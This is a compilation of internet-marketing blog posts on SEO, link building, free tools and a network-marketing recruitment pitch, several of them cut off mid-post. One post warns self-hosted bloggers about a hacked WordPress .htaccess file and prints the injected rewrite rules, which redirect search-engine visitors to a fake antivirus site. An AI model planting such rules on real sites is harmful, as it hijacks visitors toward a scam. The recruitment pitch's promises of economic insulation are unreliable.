On A Personal Note…

I know you have heard that quote before, but I thought I would put it into a different context for you today.

First, a little history. I love motorcycles . I love quads. I love jet ski’s and snowmobiles. Anything that rides like a motorcycle, regardless of the *terrain* it was designed to skim across, brings me joy and excitement. I have been riding since I was a little bitty tyke. I won’t turn down a planned *ride*. Ever.

Well, until Saturday.

I was spending the holidays with some friends (family that wasn’t born under the same roof ) who have lot’s of toys and plenty of desert and river country to ride through. We rode Wednesday, Thursday, Friday and Saturday. The grandkids were there as well, so taking them on short rides was the extent of the riding the first couple of days. Just a tease really .

By Friday, we moved up to *big-kid-riding*. Thirty mile runs up to the river bottom through mud, water and some great scenery. Life was good. This is how the holidays should be spent.

On Saturday, we had a truly epic ride planned, but wanted to finish the track they were adding on the side 3 acres before leaving. Jim used the tractor to dig up and create a great jump area. He smoothed the track down and then called for riders to help pack the new runs. Oh yes! Another excuse to ride .

I took the first run around the track pretty slow.. new turns, newly turned dirt. Anytime you hit a new track, you gotta get the feel. You know? Especially since I was on a bike I hadn’t ridden in a while. Thumb throttle setup, and this after getting off the Banshee which had a twist throttle.

By the second or third pass around the track, I was ready to give the jump a try.

I hit the turns with full drift, running the lines was pretty sweet. Around the final turn then open it up a bit. (Not too much, it is an untried jump after all). Just before the foot of the jump, I let off.

Well, I tried to let off.

Remember I said I had just gotten off a twist throttle bike? I released my wrist forward, as I would with a twist throttle , which caused my thumb to pull forward… increasing the throttle!

Yep, you guessed it. I hit the foot of the jump on full throttle and got some big air. I mean really big air .

The front of the bike lifted, and kept lifting . At the 20 foot mark, I realized I was gonna hit on the rear wheels and if I still had a hold of the bike, it wasn’t gonna be pretty. I made the decision to release the bike and try for a controlled fall.

I landed first on my butt. My left cheek to be precise. Tore the major muscle group that crosses that particular body part. Bounced and hit the second time on my back. Can you say road rash ? Left hip to left shoulder. Final bounce was on my back and head.

I sat up after the third bounce and watched as the bike rolled down the track like it had a purpose, unharmed and completely unrepentant.

It took a minute to get my feet under me, but I did. A little sore. Not yet realizing the full extent of the damage. I stood to the accolades of my riding buddies for the length of the jump and the truly *awesome* bounces. I think I heard someone mention YouTUBE videos and the fact that no one had a camera on it. How sad .

I rode the bike back to the house so it could be fueled up for the ride we had planned later that day. As I parked it and got off (a little slowly I must confess ), I still had planned to leave on the ride. I went inside to take stock and discovered the damage. A long look in the mirror and it was time to make a decision.

To ride or not to ride?

Well, I am happy to say that being 48 has it advantages. Wisdom is sitting in. (Despite what you might think based on my riding). Wisdom dictated that I take stock and decide if riding injured was a good idea or not. Wisdom won. I turned down the ride. Not forever, just for that trip. I won’t give up riding. Ever. But to ride with torn muscles and a pain not unlike childbirth would be stupid.

Is There A Lesson Here?

Now, what does all this have to do with Internet or Network Marketing? I am glad you asked. There is a lesson here.

When you try a new tool or method for your marketing method, it’s best to take it slow. Get a feel for the track (so to speak), and slowly build up speed (or momentum).

Jumping in on a new method with a new tool can be dangerous to either your pocket book or your business (or your butt frankly). It’s best to get a feel for the new method. Try out the new tool, and if it works for you, great. If not, try another.

Just do it slow until you have some confidence and a little experience. Then try it a little faster.

And don’t give up. Ever.

Anyway… I notice the file size and start thinking, it shouldn’t be that large. So, I download it from my domain to take a peek. Sure enough, some scum bag (bleep) piece of (bleep) hacker type has uploaded a new .htaccess file. It’s purpose? To fake people out and sell anti-virus software. That’s it.

The .htaccess file’s real purpose is to help Wordpress display *pretty links* as the URL. It takes the title of the post and adds dashes and uses that as the URL. Great for Google Link Love ! I put a sample of what that looks like for a typical Wordpress blog below. You might want to compare yours…

# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress

The modified .htaccess file basically says… if someone is *referred* from Google (or AOL, or Yahoo, etc), then display a little window that says they are being attacked, and then redirect them to the site where they can buy some protection. Piece of (bleep). The sad part is that this technique works on a lot of people. And they used MY site to do it!

Can you guess what that does to my reputation for first time visitors?

Here’s the additional code the piece of (bleep) added to my .htaccess file. Again, you might want to review yours and make sure it doesn’t include this.


RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.202/in.html?s=ix [R,L]


Gotta Respect Google

The downside to having a popular blog? Google comes by often. This would be a good thing, normally . Except for one little thing. Google came by while the bogus .htaccess file was there! Net result? Google thought I was a malware site and setup a redirect page that basically said I was attacking my visitors. Yeah. Cool, huh?

But, you have to respect a service like Google that is simply focused on making the surfing experience a better one for their visitors. They included a note to the webmaster on the nasty-gram-page on what to do to clean your site. Google even offered a *review* process to make sure all the fixes took.

I requested a review at 11am this morning, and by 11pm, my site was back online. Kudo’s Google on having your process down pat and helping *the-little-guy* get back up and running so quickly.

So, do yourself a favor all you self-hosted bloggers out there … go check your .htaccess file. Make sure it only contains what you expect it to contain. And while you are there, update the permissions to remove the *write* feature. I did.

There are a lot of FTP clients out there.

One stands out for ease of use, features and best of all, price. Free. Filezilla .

This is the one I recommend hands down for budding Online Entrepreneurs . In fact, I recommend it so much that I made a video showing folks like you exactly how to find it, download and install it and then setup their first *host site*.The video is called Find, Install and Use FTP Client To Transfer Files .

So, if you are looking for a no-cost way to manage your remote files on your domain, then head on over to the Filezilla Project website and download their free client.

Drop back by and let me know what you think about it. Your opinion matters and others that follow would like to know your experience with this recommendation.

What do I mean by right?

Well, you have to…

• Really read the post you are commenting on
• Add value to the conversation
• Include your website or blog URL

Commenting on just any blog will help, but it pays to focus on those within your niche . It also pays (big dividends) to select blogs that already have a Google Page Rank or a really good Alexa or Compete score.

You see, when you comment (and include your blog link ) on a highly ranked blog, you get a little *Google Love * in the process. This comment counts as a *back link* into your blog. A one way link from an authority site to yours.

Please note : Not all blog comments are equal. If the blog uses the NOFOLLOW tag on the comment links, Google won’t follow from their blog to yours. In that case, the benefit is exposure to others in your niche, but no Google Love

I have a Find Blogs tool here at CenayNailor.com that will let you find blogs that do not use the NOFOLLOW tag on their comments, searchable by keyword. Just click the link, enter your primary keyword and then click the Find Blogs button.

What a pain in the butt.

Well my friends, I found a really cool tool that loads up on your computer and will let you choose any color you can see! It also contains a visible color *library* so you can select from a master set of colors.

It will optionally output the color codes in a variety of *types*, like HTML, Delphi, RGB, VB and C++.

I set it to load up at Windows startup so it’s always available… a quick keystroke, and *bam*, the color picker is right under my mouse cursor, all I have to do is click to select. The floating toolbar makes it easy to open the library for the master set of colors, or see the 7 most recent colors I selected.

Trust me when I tell you, if you do ANY web site design or blog tweaking… then you need this tool.

Oh, and did I mention? Yep, it’s free.

You can download AdesClrPicker here.

I know it’s not much warning to catch the show live, so I will be offering a *replay* of the podcast here on my blog as soon as it’s available for download.

If you are sitting around with nothing much to do on this fine Saturday morning, stop by the Major League Marketing show and check out the show.

If you just want to dial in without visiting the show, call (646) 200-4755 today (Saturday, November 1st) at 9:00am PST, 10:00 MST, 11:00 CST, and 12:00 noon EST.

Really enjoyed doing the show! Malika is a wonderful woman interested in helping others just starting out on the Internet *tool up* for the journey. I am reposting the podcast here, but you should check out her channel at the link shown above.

Helping Newbies Get Started Online (with Cenay Nailor)

November 1st, 2008 [60:00]
Special Guest Appearance with Cenay Nailor on Blog Talk Radio Show
(To download, right click here and save)

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It’s extremely important to be able to evaluate the power of a directory for link building. Especially when you consider that the power of a directory listing is much more complicated than just looking at the PR of the directory homepage.

Hence, the goal of this post is to train the average Toronto SEO enthusiast how to quickly and effectively evaluate the power of general directories through link analysis and evaluation. The post is going to focus on the power of general directories because they are much more prevalent than niche directories; which obviously are powerful if your in the same niche. At the end of the day, there are hundreds of directories (both paid and free) that you can submit too, so you need to know how to quickly evaluate the power of these directories in order to make the most out of your time and money. Efficiency is key!

Without much further ado, here’s a list of the 7 most important criteria to look for when evaluating the power of general directories:

1.) Check the PR of the directory : Although PR isn’t everything; this is hands-down the fastest and easiest way to judge the power of any directory. As a general rule of thumb, any directory at PR 5 or above has good authority, while anything below a PR 3 has low authority.

2.) Check whether domain ranks in Google : This important test identifies if the directory has been penalized by Google. Simply go to Google and type in the directory domain name (without spaces); they should appear #1 unless the domain is targeting highly competitive keywords (should still be on first page). If they don’t appear at all and Google suggests a different search term, then they have been penalized by Google.

3.) Indexability and last time cached : This quick check-up is to determine how often the Google bots are indexing the sub-page’s content. Just go to Google, and enter a cache query. For a directory sub-page, a good cache date would be within 1-2 weeks, but no longer than 1 month. A higher frequency of cache dates indicate that the site is more powerful and authoritative.

4.) Number (and quality) of inbound links : Is a fairly simple measure of the overall power and authority associated with the directory. The higher the better. Being listed in DMOZ wouldn’t hurt either

5.) Number of outbound links and PR of sub-pages : When choosing a category to submit too, relevancy is the most important factor to consider. But oftentimes, a submission could go in several categories. In these cases, in order to choose the best sub-page or category to submit too, you need to look at the sub-page’s PR and also the number of outbound links. One of the most telling signs of an authority directory is if they have PR sub-pages, because Google loves to take the second level PR away from directories.

So, if you find a directory sub-page of PR 3 or higher: the directory is carrying a good amount of power, authority and Google credibility. The second point to consider is the number of outbound links on the sub-page. In many cases there will be so many listings that you won’t even get on the first sub-page of your selected category. You need to keep this in mind when deciding which category to submit too. You want to submit to the sub-page that has a low number of outbound links to ensure that your link gets the most link juice available.

6.) Does the directory have sitewide links in Google? : When you search for the directory’s domain name do they have sitewide links under their listing? If yes, this signifies that the directory has high authority in Google’s eyes.

7.) Check appearances at public events and industry conventions : The theory behind this test is simple; if the directory owners can afford to advertise in key industry events (SES and SMX for example) then they obviously have a long-term strategy and are an authority. Obviously this rule isn’t set in stone, but being at these events is a pretty clear indication of a powerful directory.

There’s also one more test, but it takes more time as it’s a bit more advanced because it can be time intensive. The anchor text test is a great way to determine the power of a directory by measuring the link juice that the directory passes on to your anchor text. Here’s how to execute the anchor text text:

- First you need to find a unique anchor text within a sub-category (that isn’t mentioned on the site’s homepage) - Next, check to see how that site ranks for that specific keyword(s) in the SERP’s

This test doesn’t take into consideration the other search engine optimization and link building efforts of the client, but it is an effective way to attempt to measure the link juice being sent from the directory to your site (or client’s site). The hardest part is finding the unique anchor text, because most of these anchors would most likely be targeting their site’s competitive keywords, which would be mentioned on the homepage. But this isn’t always the case, hence why the anchor text test can be very useful when you are trying to gauge the power of a link within a directory.

Another thing to keep in mind with the power of directory submissions is the featured listing or premiere listing option that enables your listing to be placed at the top of your desired sub-category for some extra dough.

Is it worth it?

Personally, I don’t see much value in these type of listings unless the sub-page has PR and a lot of outbound links. In this case, a regular submission wouldn’t get you on the first page of the category, so it would be worth paying an extra $20 or so because without it, your link won’t be getting the same “juice” as it would be if placed on that desired subpage with PR.

Remember to keep this quick checklist in mind when considering which directories to submit too, and also be sure to check out the last part of this series which will cover potential downfalls and other mistakes to avoid when making directory submissions.

First, a definition to get us on the same page:

A *Mastermind* is peer group of people like you for shared ideas, accountability and opportunity discussion to improve your personal and/or company success.

If the value isn’t readily apparent to you, then read that definition again. In fact, read it a few more times.

I belong to a couple of good mastermind groups in my chosen *genre* of Internet/Affiliate/Network Marketing, and I can tell you with no hesitation that the *hour(s)* spent with each group are some of the best hours of the work week.

When a group of like minded folks get together and start talking about what’s working for them, or what to avoid, you have an opportunity to supercharge the time you do spend doing something, or even more important, what NOT to spend your time on.

I won’t go into some of the troubles of building the right mastermind group, those should be obvious, but I will tell you it is worth the effort . Keep your ears open to the people you come in contact with… and ask yourself, could this person add something to the group? Watch their activities and actions, listen to what they say and how they say it. If you think it might be a good fit, ask them.

In addition to reducing your *learning curve* or knowing what to avoid, is another benefit that was recently made very obvious to me. You see, one of the members of a group I belong to ran into a little trouble , personal trouble. The mastermind group did something amazing. They pooled their resources, talents, PLR, techniques and time to help her out.

The result was nothing less than mind-blowing.

In just a few short day’s… these people, by pooling time, tasks and talents, where able to put together a website and an amazing *package* for sale, with all the proceeds going towards the one in need. Now, it might not be enough given the gravity of her situation (you can read more about that here ), but watching a group of people from all over the US come together like this has been inspiring, to say the least.

It also points to another benefit of masterminding. Being able to help someone because they deserve it. No one deserves what happened to her and her family, but seeing the mastermind group come together like this has gone a long way in restoring my flagging faith in the inherent kindness of mankind.

I hope that you got something out of this overview of a mastermind, but I also hope you will take 5 minutes to head over to the MakeLemonade.info site and see what we have put together for you. The cost is small, the benefits are enormous, both to you and the one that needs it.

I would love for you to come back here and leave some feedback for those that come after you. We could all use a little help now and then.

Tags: mastermind , benefits of mastermind , what is mastermind , helping someone out

Link building is a crucial part of building up your search engine rankings and increasing the number of visitors to your site. Aside from search engine related factors, it also helps get visitors to your site through directly clicking the links.

Right at the center of any serious search engine optimization campaign, is link building. Without a definite strategy for ongoing link building, your goals for search engine rankings aren’t likely to succeed. The single thing you should concentrate on the most, is gaining high quality incoming links.

What Is Link Building Really?

Link building is a pretty general term used to describe anything you do to build links to a website.

Link building is the off-page optimization part of SEO. It is also one of the most important parts of SEO, and takes a long time. It can grant great website rankings, and really needs to be an ongoing process.

Link Building isn’t the same as content marketing, just like link baiting isn’t exactly the same as viral marketing. Link Building (or link marketing, as some call it) is the place where SEO and content marketing meet. Link building and building backlinks is a much different practice today than it was even three years ago. Many potential link exchanges are lost due to poor communication, an insincere email introduction, the lack of integrity in reciprocal and three-way link exchanges, and other unfair link exchange practices.

Link building requires dedication and consistent effort. It is the most difficult, time-consuming and important task an SEO performs to get a website ranked well.

Different Link Building Tactics

Link building is a critical part of any search engine optimization campaign. Major search engines consider the number of relevant links your site as a measure of your popularity and usefulness. In this way, link building helps your site to gain page rank. The higher the page rank, the more chances it gives your site to rank highly in search engines with relevant keywords. Google loves good kosher links.

There are several different methods of link building, including gain reciprocal inks, three way linking, and one way links. One way links are definitely the best.

Reciprocal Linking

This is often the standard from of link building. Its not the best as I said earlier, but it is valid.

Search engines are not so much concerned about links being reciprocated as they are about links being contextually relevant to both sites. Obtaining top quality contextually relevant links will not only help boost your site’s performance on the search engines, but also draw targeted traffic to your site.

1 Way Links

One way links are harder to obtain, but simply put, they are the best kind of link hands down. So although they are harder to come by, this is where you should focus your efforts.

Try visiting www.BuildingBacklinks.net to see how to build one way links the easy way.

Why You Need To Build Links

Simply put, your website needs visitors, and the vast majority of all web visitors will come via the search engines. If your website wants a good ranking in the search engines, especially front page ranking, you’ll need some quality incoming links.

Link building can really make a huge impact on your search engine positions. Adding just a few high quality links can really be the difference between the first page and third page of any search engine, and this means a huge difference in the amount of traffic.

In order for your site to rank well and achieve its natural ranking potential, it is critically important that your site attracts relevant inbound links from other sites that can drive targeted traffic to your site, increase sales, and help your business achieve its goals. Link Building is a way to direct more traffic to your site through relevant incoming links. The process works by increasing your visibility on the Web, increasing your link popularity, and, ultimately, your site’s rankings.

A forum is a gathering of people that usually have the same interest on a certain topic like health, business, hobbies etc. It is designed for those who want to share their opinions, ask questions, socialize, seek help and give advice.

Forums are a treasure trove of information. Participating in forums does not only benefit you, but you will also get the benefit of promoting your website. Of course the more forum postings you had, the bigger chances of generating free traffics.

You will find plenty of forums if you research for the desired topic plus the word forums. For instance, if you are seeking for health tips, you might do a search for “health forums”. From there you’ll find different categories, but it is better if you start ith the basic message groups.

Now let’s find out how forums can help drive free traffics.

Forum postings, message boards and newsgroup are the beginning of a relationship between you and your audience- those who read these venues. Most of these message boards allow you to use a portrait of yourself. This adds up in making the whole experience much more personal, between you and your readers. In most cases, it allows readers to meet other people online and finally become friends with them.

With these venues you have the prospective in reaching a large number of people, all who can help you and your business and may form some lasting friendships in the process. This is one way of generating free traffics using forums.

Forums posting is also one of the most productive efforts that you can engage yourself online. Remember that time is money. You are working hard to on promoting your website. And this is one way of getting free traffics. So, involve yourself, participate in at least some of these ventures:

1. Join in any forum discussions that interest you. However, you should also be choosy on the forums you’re going in with. Make sure that it also related to the theme of your website.

2. Choose the topic or the area where you have the opportunity to help other people. You can give instant solutions to their problems or some suggestions.

3. You can also connect to those discussions wherein the members share the same interest that you have in the website.

4. Finally, this is your time to share your ideas and inquire about something that you want to know. Forums are actually a give and take method. A good strategy that benefits all the members.

Here are some key points to consider in forum postings. Remember that your main goal is to promote your website.

1. Look for message boards that generate a lot of traffic. The more traffic on the board the better your chances of getting more traffic to your site and making good connections with others. Avoid forums that contain spam.

2. Use your real name and if possible post a picture of your self. If you have a logo of your site, better post it also. It is one way o letting people know you and the website that you are promoting.

3. Success in getting your post read is your main concern. You won’t waste time for your forum postings just to be ignored by the readers. Make sure your subject is catchy and you are at the right topic.

4. Proper choice of keywords is also important. So make sure you use good keywords in your message boards.

6. Signature files that links to your site are also vital. Use them every time you post. The signature must explain briefly your products. This will also count as sites that link to your website and thereby increase you popularity and rankings. So make them unique and creative.

7. Make sure you are contributing something worthy when you participate in these message boards. Once you start to become a valuable contributor others build a trust in you and will feel safe making purchases from your site.

8. Forum etiquette. Make sure you observe proper rules in forum postings. Avoid violent reactions, and comments. That won’t help you. Attacking others or attacking in defense will drive business away from your site faster than you can blink an eye. Always READ your posts before hitting the submit button.

9. Lastly, always, always ALWAYS obey the guidelines if they exist, and use common sense if they don’t. Respectful use of other people’s forums to draw traffic is often welcomed as long as you are a useful, positive contributor to the community.

Source: Ezyas123.com - traffic generations secrets

Don’t Spill Your Candy in the Hallway!

Have you ever been in a gymnasium full of young kids who are waiting on the appearance of Santa Claus? It’s quite an experience! The energy in the room is just electric. You can just feel the anticipation. Then, someone hears some bells from outside the door. They seem to be getting louder, and then a very deep and jolly voice starts chanting "Ho Ho Ho!"

Like many, I have been witness to a number of these events over the years. There were two specific incidents however, that really stick out in my mind. One was tragic and the other, masterful.

Oops!

Santa arrived with much fanfare - only to trip outside the gym door! His bag of candy canes filled the floor in the hallway. A few kids seeing this, quickly scrambled out the door to grab the candy.
Immediately all of the children had scurried out and had filled their fists with the good stuff.

After that, Santa had very little appeal to the children. They had gotten what they wanted him to provide, so their interest in jolly old St. Nick evaporated — just like that!

Mastery in Action

At another event, I was fortunate enough to witness an experienced Santa. Not only did he manage to get through the doors of the gym unscathed, but he really put on a show for the kids.

He would look into his bag, and then back at a little boy. Then back into his bag his eyes would gaze, and then once again to the anxious child. Then, slowly, he would reach his hand into his bundle, and after shuffling things around in there for what appeared to be an excruciating length of time, he would pull out a piece of… candy! His eyes would open wide with excitement as he handed the treat to the little tot, whose own excitement was just about to explode.

Then on to the next child he would go, repeating the whole escapade to the immense delight of all. I have to say, I was so impressed at how well a Santa could generate so much excitement, and genuine happiness and satisfaction from a whole room full of children with little pieces of candy.

How does this apply to sales and customer acquisition?

I have seen over and over again, situations where people will "spill their candy in the hallway". They go on and on about their stuff and spill all the good stuff prematurely, robbing their customers of the opportunity to build a relationship sufficient to do business.

Too much too soon is not a good thing. Too much in one direction is not a good thing. There has to be an interaction in order to build connection. As Voltaire said, “The secret of being a bore is to tell everything."

As a business professional ask yourself: "What business am I in?"
If your business has anything to do with people, you are at least partly in the business of building relationships.

Some people think that they are in the business of selling. Really, they are in the business of building relationships, because that’s the basis of how you sell things. Managers are also in the business of building relationships, because that’s how you turn talent into performance.

How do you build a relationship? The best way is to know it’s all about them. You move your curious lever to maximum and find out what’s important to people. Then how can you setup success for them?

To build trust, share ideas and connections that help people. When you meet somebody, give them something educational that they can use, whether they buy or not. Just as important is to reach out and connect with people. Opportunities to make new contacts and connections are all around you. Make the effort and reap the rewards!

Source: business relationships

The Business-Growth.com blog is a growing, free information source for small business. The articles are about strategies for growing your business predictably and being able to take more time off - at the same time!

It is provided by Kaizen Consulting Services Inc.

So, this post came from Flock, without logging into my blog via Wordpress. (I think that is a pretty cool feature myself).

Cool, huh?

Tags: flock , blogging , social media

Update: 10/16/2008 4:14pm
Now that I have had a chance to really spend some time on Flock, I have to add a couple of notes. This is what *browsing the web* should be. All other browsers simply don’t stack up. Don’t get me wrong, there are a couple of things I love about Safari I love, one or two on Opera that just rocks and an Addon for FireFox that I can’t live without if I am adjusting my theme… but Flock has all the best and none of the worst PLUS intregrated social networking.

This browser is a MUST HAVE for anyone marketing themselves online. Period.

by Cenay Nailor (Copyright (c) 2008 http://www.CenayNailor.com )

You don’t need a crystal ball to see what’s coming. The last few years have shown us in stark relief the *state* of the economy. The *bail-outs* being discussed (ad nausium) are just one indicator. There are others:

• Jobs American’s depend on are moving overseas at an unprecedented (and alarming) rate
• The Federal Reserve is printing money faster than ever before
• The housing market is suffering a catastrophic collapse
• The foreclosure rate has reached all time highs
• Fuel costs are rising and impacting everything from the cost of bread to Airline flights
• The Stock Market is taking hits not unlike what happened in 1929, just days before the *depression* started

People all across America are anxiously watching the debates and listening to what the *politicians* are saying with held breath. In the private area between their ears they are wondering which candidate will save them.

I can answer that one for you. None of them.

You Are The Only One That Has The Power To Save Yourself.

For most of you, that statement has made your blood run cold. Sorry. For others of you, you are asking yourself…. *But how?*

Donald Trump and Robert Kiyosaki have been saying it for years, and the information has fallen on deaf ears. Network Marketing is a business model that does three things for you. It allows you to leverage:

• Other people’s time
• Other people’s money
• Other people’s products

It takes time, yes. It takes personal effort, yes. It takes new skills, yes. But a business of this type has the power to insulate you from the terrible things going on in the business world. You only have to look at news to see what I am talking about. This was a recent post on the CNN website (Sept 15th, 2008):

NEW YORK (CNN) — Global markets were reeling Monday after a historic day on Wall Street that saw two famous names become the latest victims of the credit crunch.

The leading U.S. investment bank Lehman Brothers filed for bankruptcy and brokerage Merrill Lynch was the subject of a $50 billion buyout by Bank of America. The fate of other big name financial institutions remained in doubt and stock prices plunged in Asia, Europe and the United States.

In New York, the Dow Jones Industrial Average closed 504 points down, or about 4.4 percent.

The Nasdaq composite lost 3.6 percent, its worst single-session percentage decline since March 24, 2003. It left the tech-fueled average at its lowest point since March 17 of this year.

Source: CNN

(Note: On Tuesday, October 29th, 1929, a stock market crash cost the market about 12% of it’s value. A few days before, on the 24th, it lost 6%. Over the next few months, it lost more than 85% of its value)

It’s Not All Bad

Now, I don’t mean to be all *doom and gloom*, but I wanted you to understand where I am coming from. Saving yourself takes commitment. It takes effort. And frankly, it will take some time. You didn’t get into debt overnight and you won’t get out overnight either.

But you can get out. You can save yourself from the upcoming economic upheavals if you will stop expecting others to *save you*, and start doing it yourself.

I am creating a long-term residual income for myself using the proven business model of network marketing. I am doing the work once and reaping the benefits over time. The more I build, the more insulated I am. I am willing to train you. Well, at least a few of you. Since the level of training I provide is so extensive and hands on, I can only take on a few at a time.

For the next 30 days, I am opening up my training program to 10 committed folks. You need only apply if you are committed to saving yourself. If you are wanting someone to do it for you, then go bang on the door of those promising that. I am sure you will get the help you need.

Ready To Try?

But, if you are ready to make a change for yourself, committed to doing the work required for the next 1-2 years to build a long-term leveraged residual income, then contact me and let me know why I should choose you for this program. Only 10 will be selected, so during the application process is not the time to be shy or unsure. If you know what you want, and are willing for work for it, explain how and why.

I look forward to hearing from you.

The report details three strategies to build your business using the Internet, by allowing you to market a much needed tool to your target market. The three strategies used are free to use (hence the *free traffic*) and generate leads for your business opportunity. By being paid to prospect, some of the pressure is off. You have the time to develop the skills necessary to succeed.

The report is actually located on one of my other site that offers "How To Videos " for many of the common Internet and Computer tasks necessary (in my humble opinion) to be successful in Internet and Network Marketing.

The report is free, just tell me where to send it and I will include a lifetime update on all future versions of the report.

If you are interested, I also offer branding of the report to your personal information. Check the bottom of the page for the link that says Branding Info.

The reason we all write search engine optimization blogs and content for our websites is because we have something that we feel is important to say, and we want to get that message out to the public and to our potential consumers. Unfortunately, as my boss has pointed out in one of his posts that only 16% of people actually read blog posts and the rest of us simply scan them for pertinent information. I have to be honest, as a reader and a writer I found this to be a shocking number and had a bit of a hard time accepting it. But, as Jeff explained to me, most of us are thrown so much information in one day that we simply don’t have enough time to read it all.

I think that’s only part of the reason though. Truthfully? There are a lot of badly written, boring posts and articles floating around on the web and most of us can’t be bothered to read them to get the information we need out of it. But, the good news is that I do believe if something is truly well written or entertaining that people will read it. Therefore, in order to get our message across, we have to make our writing more appealing to our readership. Fortunately, these few simple copywriting tips can be used to help you tighten your writing and reach further than that 16 percent.

1.) Plan Ahead

Listen, if you don’t know where you’re going with your writing, than your readers don’t stand a chance. Before you sit down and put fingers to keyboard, think about what you want to say and what the logical flow of your thoughts should be. Your writing should be orderly and have direction. If you’re looking for a great starting place, try this simple adage: Tell people what you’re going to tell them, tell them, and then tell them what you’ve told them. It’ll help lend focus to your thoughts.

2.) Know your Audience

It seems like common sense, but you’d be surprised. For example, if you know that your travel site appeals to young urban professionals, writing a blog post about retirement travel is probably not going to go over well. Think about your idea and spin it: Maybe your blog post could be about where to send your retired parents on vacation. Find a way to make your new product or service appeal to your existing audience.

3.) The K.I.S.S. Principle

In other words - Keep it Simple Stupid (Hey, don’t blame me, I didn’t invent the acronym). Did you know that most newspapers write their stories for a grade seven education level? Writing for the web shouldn’t be any different. And, while it’s great that you have a PhD in entomology, but if your readers don’t know you’re talking about bugs, you aren’t going to get your points across.

4.) N.M.A.P. (No more acronyms please)

Given the previous entry, this one is a little ironic. But here’s the thing. Just because you know what you’re talking about when you mention a BOGOFF (Buy One Get One For Free) or E&OE (Errors & Omissions Excepted); doesn’t mean that the people reading your blog do. Explain what your acronyms mean before you lose all your readers with your technical talk.

5.) Mix it up!

Sometimes copy can feel really stale and boring, but you can’t quite figure out why. It’s often due to the overuse of certain words in your copy, so take a look over what you’ve written. If you see that every sentence starts with the word ‘the’ then you need to make a change. This also applies to words in a paragraph, if you’ve described something as ‘good’ four times in the past three sentences it’s time to pick a new adjective.

6.) Use Awesome Words Sparingly

Being overly descriptive with your writing is not necessarily a good thing. If you were writing a novel, sure, there might be room for more flowery turns of phrase. Web copy though, should be more simple and direct. Don’t over illustrate what you’re trying to say, just say it, otherwise you’ll lose your readers.

7.) Text Not

It doesn’t matter how busy you are; text speak does not belong in proper copy. Take the time to write out each of the words you want to say, otherwise you’ll turn off your readers. Because, not only is text speak annoying, it can also be hard to understand, so resist the urge, kwim? (Oops!)

8.) Slash

Once you’ve finished writing your blog or article, save and close the file and walk away from it. After you’ve taken a little bit of time (20 - 30 minutes) come back to it and start editing. Your fresh eyes will help you be able to see the mistakes and the unnecessary parts more easily. And remember, if you think you’ve gotten a bit too wordy or it runs a little too long, than it probably has.

We write content for our SEO Toronto websites or blogs because we want people to read it, but appealing to readers in the information age is easier said than done. Writing should be tight, direct and interesting to your readers. Following the above copywriting guidelines should get you on your way to improving your copy.

Source: SEO

Search engine rankings are a large factor to the success of your web site. If you desire free organic search traffic from the search engines you will have to learn how to improve your search engine rankings. The main search engine you should be focused on improving your rankings in is Google.

Why Google? Fact is, Google currently holds a 77% market share of the search engine business. Google handles 300 MILLION search queries every DAY. With over 8 billion pages in the Google index (with thousands being added daily), you need to have your ducks in a row and learn how to improve your search engine ranking or else you will get lost in the Google index. Without better search engine rankings, your web site will remain a virtual ghost town.

There are so many unbelievable myths out there pertaining to theories of how to better your rank in the search engines. We all already know that Google likes the following factors of a web site - and ranks a site with these factors in mind:

• Keywords in url
• Keywords in content (and near each other)
• Link Popularity (links pointing TO your site)
• Keywords used to link to your site
• The theme of the site or page

Strangely, Google doesn’t seem to mention optimizing meta tags, however,it is my experience that taking the time to optimize title tags and description tags can help… and certainly can’t hurt.

Improve Search Engine Rankings - The Myths

Yes, there is a lot of false information going around about how to boost your site in the search engines. Your first step in learning how to improve your rankings is to learn what is fact - and what is NOT.

These are some of the search engine ranking myths that you need to get out of your head:

Myth #1: Google Knows All and Sees All

Myth #2: Google Does Not Rank Duplicate Content

Myth #3: You Must Get Links From Related Subject Sites to Rank

Myth #4: Your Site Must Focus On One Topic To Rank Well

Myth #5: High Page Rank Means Good Rankings

Myth #6: To Maintain Good Rankings, You Must Add New Content

MYTH #7: THE BIGGEST MYTH: Ranking In Google Is Hard!

Improving your search engine rankings is not hard

Thankfully, improving your ranking in Google is not difficult - if you know what you’re doing. Think about Google, and what their goal of their search engine is. Google’s goal is to provide their users with the fastest, most relevant search results possible. In fact, they are the only website that I can think of that has the goal of getting visitors OFF their site as quickly as possible!

If you learn effective ranking methods - take time to learn what Google wants - and de-program yourself of all the inaccuracies regarding better search engine rankings, you will do fine. Improved search engine ranking will be easy for you to obtain.

Wrong! We’re marketers because we’ve taken action. We’ve gone out and set up a website, started an email list, promoted some valuable products or maybe even created a product and started selling it. We’re not marketers just because we’ve bought into someone else’s hype.

Most people I talk to are like sheep. They want to follow a shepherd, in fact they want that shepherd to look after them, tell them where to go and what to do when they get there. They’ll gladly fork out some of their hard-earned shekels to buy the latest whizz-bang marketing training course in the hope that it will tell them what to do to earn millions.

Usually that training course, ebook or program sits on their hard drive doing nothing. They might start on it but then get distracted and put it aside for another day when they’ve got time. But you know what? That other day never arrives.

Instead yet another ‘cash sucking’ ebook comes out and off they go again. It’s like a download mania. Actually I think it really does become addictive after time?

Change your mindset

So how can you overcome this and actually start to take action, to actually do something that will earn you some money online?

Well first of all you have to change your mindset. Most of us believe that the keys to fame and fortune are in the pockets of the privileged, that somehow other people have found a hidden door to becoming famous and wealthy.

It doesn’t work like that. Yes, there are a few who are born into privileged backgrounds. But these are the rarity and, let me tell you, a lot of them amount to nothing.

Because the really successful entrepreneurs, actors and artists are those who realise that success is only within the reach of those who take action.

Forget what you’ve been led to believe all your life, that other people are in some way better than you, more gifted than you, more intelligent than you. This is the way that society keeps you in your place and the way that the people who are successful manage to feed off your sense of failure.

Look at any highly successful person and you’ll see someone who is driven - driven to succeed at all costs. Now if that frightens you, if you cannot see that drive, that ambition, within yourself, don’t worry. It’s because you’ve been told that you’re useless, that other people know what is good for you!

